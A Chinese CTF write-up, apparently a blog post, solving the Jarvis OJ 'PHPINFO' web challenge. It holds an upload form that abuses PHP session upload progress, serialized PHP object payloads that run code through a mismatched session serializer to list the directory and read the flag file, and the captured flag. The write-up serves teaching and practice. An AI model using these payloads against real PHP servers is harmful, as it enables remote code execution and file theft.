zoukankan      html  css  js  c++  java
  • Jarvis OJ--PHPINFO

    一道浙大的题目

    题目地址:http://web.jarvisoj.com:32784

    拿到这道题目,

    是一道反序列化的题目,题目源码很简单,当创建OowoO()这个类的对象时,会自动调用__construct()这个魔术方法,给mdzz这个变量赋值为"phpinfo();",然后程序执行结束后会自动调用__destruct这个魔术方法,触发了eval()

    虽然我们现在没有思路,但是我们可以先操作看看,可能就有灵感了呢

    先随便给phpinfo这个变量get一个值

    http://web.jarvisoj.com:32784/?phpinfo=a

    成功执行了phpinfo();

    题目中有个这

    ini_set('session.serialize_handler''php');

    考虑到可能是序列化引擎不同导致的session反序列漏洞

    我们来看一下session的配置

    果然,存储和读取session时用到的处理器引擎不一样

    现在有个问题,session是怎么传进去的呢,之前都是有个$_SESSION=$_GET['a'],通过参数a传进去

    本题没有$_SESSION进行变量赋值,这种情况我们可以用php文件上传进度来解决

    当在php.ini中设置session.upload_progress.enabled = On的时候,PHP将能够跟踪上传单个文件的上传进度。当上传正在进行时,以及在将与session.upload_progress.name INI设置相同的名称的变量设置为POST时,上传进度将在$ _SESSION超全局中可用。

    也可查看php官方文档:

    回到本题,看下session的配置

    刚好可以利用

    我们启用了该配置项后,POST一个和session.upload_progress.name同名变量的时候
    PHP会将文件名保存在$_SESSION中
    所以构造一个提交文件的表单:

    1 <form action ="http://web.jarvisoj.com:32784/index.php" method ="POST" enctype="multipart/form-data">
    2     <input type ="hidden" name ="PHP_SESSION_UPLOAD_PROGRESS" value ="1"/>
    3     <input type ="file" name ="file"/>
    4     <input type ="submit"/>
    5 </form>

    然后构造一个序列化的数据:

    1 <?php
    2 ini_set('session.serialize.handler','php');
    3 session_start();
    4 class OowoO{
    5     public $mdzz = 'payload';
    6 }
    7 $obj  = new OowoO();
    8 echo serialize($obj);
    9 ?>

    将payload改为如下代码

    print_r(scandir(dirname(__FILE__)));
    #scandir目录中的文件和目录
    #dirname函数返回路径中的目录部分
    #__FILE__   php中的魔法常量,文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件名
    #序列化后的结果
    O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

    为防止双引号被转义,在双引号前加上,除此之外还要加上|

    |O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

    在这个页面随便上传一个文件,然后抓包修改filename的值

    可以看到Here_1s_7he_fl4g_buT_You_Cannot_see.php这个文件,flag肯定在里面,但还有一个问题就是不知道这个路径,路径的问题就需要回到phpinfo页面去查看

    $_SERVER['SCRIPT_FILENAME'] 也是包含当前运行脚本的路径,与 $_SERVER['SCRIPT_NAME'] 不同的

    既然知道了路径,就继续构造payload即可

    print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));
    #file_get_contents() 函数把整个文件读入一个字符串中。

    接下来的就还是序列化然后改一下格式传入即可

    附上flag

    CTF{4d96e37f4be998c50aa586de4ada354a}
  • 相关阅读:
    hdoj 1237 模拟
    Codeforces 242E:XOR on Segment(位上的线段树)***
    Tsinsen A1333: 矩阵乘法(整体二分)
    HDU 2830:Matrix Swapping II(思维)
    BZOJ 3110:[Zjoi2013]K大数查询(整体二分)
    POJ 2104:K-th Number(整体二分)
    玲珑OJ 1083:XJT Love Digits(离线处理+哈希)
    玲珑OJ 1082:XJT Loves Boggle(爆搜)
    模板:树状数组(带区间修改和区间更新)
    HDU 5618:Jam's problem again(CDQ分治+树状数组处理三维偏序)
  • 原文地址:https://www.cnblogs.com/zzjdbk/p/13024425.html
Copyright © 2011-2022 走看看